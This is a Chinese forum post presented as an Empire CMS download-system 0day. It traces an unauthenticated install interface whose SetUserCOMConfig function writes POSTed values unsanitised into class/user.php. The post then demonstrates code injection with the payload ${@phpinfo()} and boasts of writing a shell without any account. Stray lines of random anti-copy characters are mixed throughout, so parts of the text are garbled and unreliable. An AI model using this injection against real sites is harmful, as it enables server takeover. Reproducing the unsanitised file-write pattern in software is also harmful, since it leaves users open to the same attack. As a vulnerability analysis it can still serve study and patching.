帝国万能接口漏洞0day

admin

这是帝国的一套下载系统如图 ps(不需要任何账户和密码，直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口，如图 而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码 当我们

这是帝国的一套下载系统 如图
$ R& r! D1 o" O5 ^ps(不需要任何账户和密码，直接写shell)

由于很多站是由于下载要整合discuz 等等一些论坛....

而帝国他又有一个万能接口，如图

' m0 a6 L+ E* H3 Q& O

3 s1 H! m: {' Z+ j4 h

而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码

3 V0 h$ H9 [1 _$ D, ?0 h+ U当我们提交的时候，他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)

2. {

3. @include("../class/connect.php");

4. @include("../class/db_sql.php");

5. @include("../class/functions.php");

6. $link=db_connect();

7. $empire=new mysqlquery();

8. if($setup=="SetConfig")

9. {

10. SetUserCOMConfig($_POST);

11. }

12. elseif($setup=="alter")

13. {

14. InstallUserCOM();

15. }

16. elseif($setup=="update")

17. {

18. UpdateUserCOM();

19. }

20. else

21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了，我们继续跟踪

( T$ M# ?2 A5 d在data/fun.php中的15行
/ O$ `. J$ }7 `
9 R, A, [5 g; I9 A我们可以看到这个函数

1. function SetUserCOMConfig($add){

2. $filetext=ReadFiletext('data/user.php');

3. if(empty($filetext))

4. {

5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');

6. }

7. $vr=explode(",",ReturnRepUserVar());

8. $count=count($vr);

9. for($i=0;$i<$count;$i++)

10. {

11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);

12. }

13. //写入配置文件

14. $fp=@fopen("../class/user.php","w");

15. if(!$fp)

16. {
% E7 {% ]+ f. W0 G

17. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

18. }

19. @fputs($fp,$filetext);

20. @fclose($fp);

复制代码

.....//省略若干
: C9 y& o' ]0 j
+ A7 c: A! k( j4 z6 H% `这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
. [+ P+ y# m% C* J& \" Y) V
他将传进来的变量进行了切割，然后赋给了$filetext

然后看下面

1. //写入配置文件

2. $fp=@fopen("../class/user.php","w");

3. if(!$fp)

4. {

5. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

6. }

7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件，然后将$filetext写入了
6 }. M. b, F! ?1 ]7 h0 N8 C- s8 f
* }3 c  y0 p" ]4 L我们看看写入的结果，随便填一个

4 W0 y3 h& _0 _6 T
! g: m& Z" L1 [0 X$ P9 }
& K# E1 R6 i( {. ^
1 ]" `* P3 }7 {$ I  G$ q


2 j6 n2 S8 N; k( b




+ n( K# S; n3 W$ b  y' I# t
( v0 G1 J- g( R; U) G8 w& Y4 }


# Y, _+ J+ v1 Y% p! P3 }# z
9 p0 N0 P7 o2 U4 F+ t


7 z% R# X2 `, g# V) ^

所以我们淫荡点，写个${@phpinfo()}试试

# {. s1 Y, ?4 l5 n. y& A

然后访问以下class/user.php这个文件
日了吧

7 L: G" j# l1 r7 G% C5 G7 z) C
2 q% Q" P# `# D! i

7 ]8 V1 g7 N0 y) {8 ?( |1 N3 D
& k1 G2 e8 J! s' }3 Q: s: U! e